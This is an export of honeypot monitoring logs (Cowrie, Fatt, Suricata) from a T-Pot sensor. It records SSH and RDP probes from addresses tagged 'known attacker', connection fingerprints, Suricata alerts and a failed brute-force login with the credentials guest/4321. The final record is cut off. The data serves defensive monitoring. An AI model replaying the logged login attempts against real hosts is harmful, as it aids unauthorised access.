30172	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:33:05.990799+03	2021-09-20 14:45:02.654142+03	{"_id": "2wb7AnwBvYTbRNuEJzoY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:52792 (192.168.176.2:22) [session: 7fb8a60441e9]", "session": "7fb8a60441e9", "@version": "1", "protocol": "ssh", "src_port": 52792, "dest_port": 22, "timestamp": "2021-09-20T11:33:05.990799Z", "@timestamp": "2021-09-20T11:33:05.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30167	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:32:43.905834+03	2021-09-20 14:45:02.648141+03	{"_id": "qAb6AnwBvYTbRNuEzzr2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41302, "timestamp": "2021-09-20T11:32:43.905834", "@timestamp": "2021-09-20T11:32:43.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30168	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:32:43.432135+03	2021-09-20 14:45:02.649143+03	{"_id": "sAb6AnwBvYTbRNuE0Toh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "9c9dd5094e15", "@version": "1", "duration": 1.3011963367462158, "timestamp": "2021-09-20T11:32:43.432135Z", "@timestamp": "2021-09-20T11:32:43.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30169	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:32:43.906867+03	2021-09-20 14:45:02.650141+03	{"_id": "rwb6AnwBvYTbRNuE0Toh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "229a31f5b16b", "@version": "1", "duration": 2.60614275932312, "timestamp": "2021-09-20T11:32:43.906867Z", "@timestamp": "2021-09-20T11:32:43.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30170	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:32:21.716881+03	2021-09-20 14:45:02.652141+03	{"_id": "cgb6AnwBvYTbRNuEeTr9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35342, "dest_port": 443, "timestamp": "2021-09-20T11:32:21.716881", "@timestamp": "2021-09-20T11:32:21.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30171	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:32:21.759952+03	2021-09-20 14:45:02.653141+03	{"_id": "cwb6AnwBvYTbRNuEeTr9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35342, "timestamp": "2021-09-20T11:32:21.759952", "@timestamp": "2021-09-20T11:32:21.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31326	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:15.083277+03	2021-09-20 14:45:04.339142+03	{"_id": "cQYFA3wBvYTbRNuEXUO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:15.083277Z", "@timestamp": "2021-09-20T11:44:15.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
30173	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:33:05.99383+03	2021-09-20 14:45:02.655142+03	{"_id": "3Ab7AnwBvYTbRNuEJzoY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7fb8a60441e9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:33:05.993830Z", "@timestamp": "2021-09-20T11:33:05.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30174	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:33:06.227049+03	2021-09-20 14:45:02.656142+03	{"_id": "3Qb7AnwBvYTbRNuEJzoY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7fb8a60441e9", "@version": "1", "timestamp": "2021-09-20T11:33:06.227049Z", "@timestamp": "2021-09-20T11:33:06.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30175	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:33:06.226571+03	2021-09-20 14:45:02.658143+03	{"_id": "3gb7AnwBvYTbRNuEKDrH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 1706705942579222, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52792, "dest_port": 22, "timestamp": "2021-09-20T11:33:06.226571Z", "@timestamp": "2021-09-20T11:33:06.226Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30176	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:33:06.35035+03	2021-09-20 14:45:02.659142+03	{"_id": "4wb7AnwBvYTbRNuEKDrH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:33:06.261521+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2162341843238289, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44989, "dest_port": 3389, "timestamp": "2021-09-20T11:33:06.350350Z", "@timestamp": "2021-09-20T11:33:06.350Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30177	189.50.42.214	109.199.241.180	Fatt	2021-09-20 14:33:06.226853+03	2021-09-20 14:45:02.660142+03	{"_id": "5wb7AnwBvYTbRNuEKTrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52792, "dest_port": 22, "timestamp": "2021-09-20T11:33:06.226853", "@timestamp": "2021-09-20T11:33:06.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31327	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:44:15.695318+03	2021-09-20 14:45:04.340141+03	{"_id": "dgYFA3wBvYTbRNuEX0Np", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:44:15.155206+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1176971162639942, "payload": "AAADzAYUYM/O2OYcrVpbQ+0q13xhAAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2132, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:44:15.695318Z", "@timestamp": "2021-09-20T11:44:15.695Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......`......Z[C.*.|a....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30178	94.232.41.165	109.199.241.180	Fatt	2021-09-20 14:33:06.35035+03	2021-09-20 14:45:02.661142+03	{"_id": "6Ab7AnwBvYTbRNuEKTrX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 44989, "dest_port": 3389, "timestamp": "2021-09-20T11:33:06.350350", "@timestamp": "2021-09-20T11:33:06.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30179	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:33:07.249978+03	2021-09-20 14:45:02.663142+03	{"_id": "7Qb7AnwBvYTbRNuEKzoB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.failed", "message": "login attempt [guest/4321] failed", "session": "7fb8a60441e9", "@version": "1", "password": "4321", "username": "guest", "timestamp": "2021-09-20T11:33:07.249978Z", "@timestamp": "2021-09-20T11:33:07.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30180	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:33:06.226853+03	2021-09-20 14:45:02.664142+03	{"_id": "4Ab7AnwBvYTbRNuEKDrH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:05.755734+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": 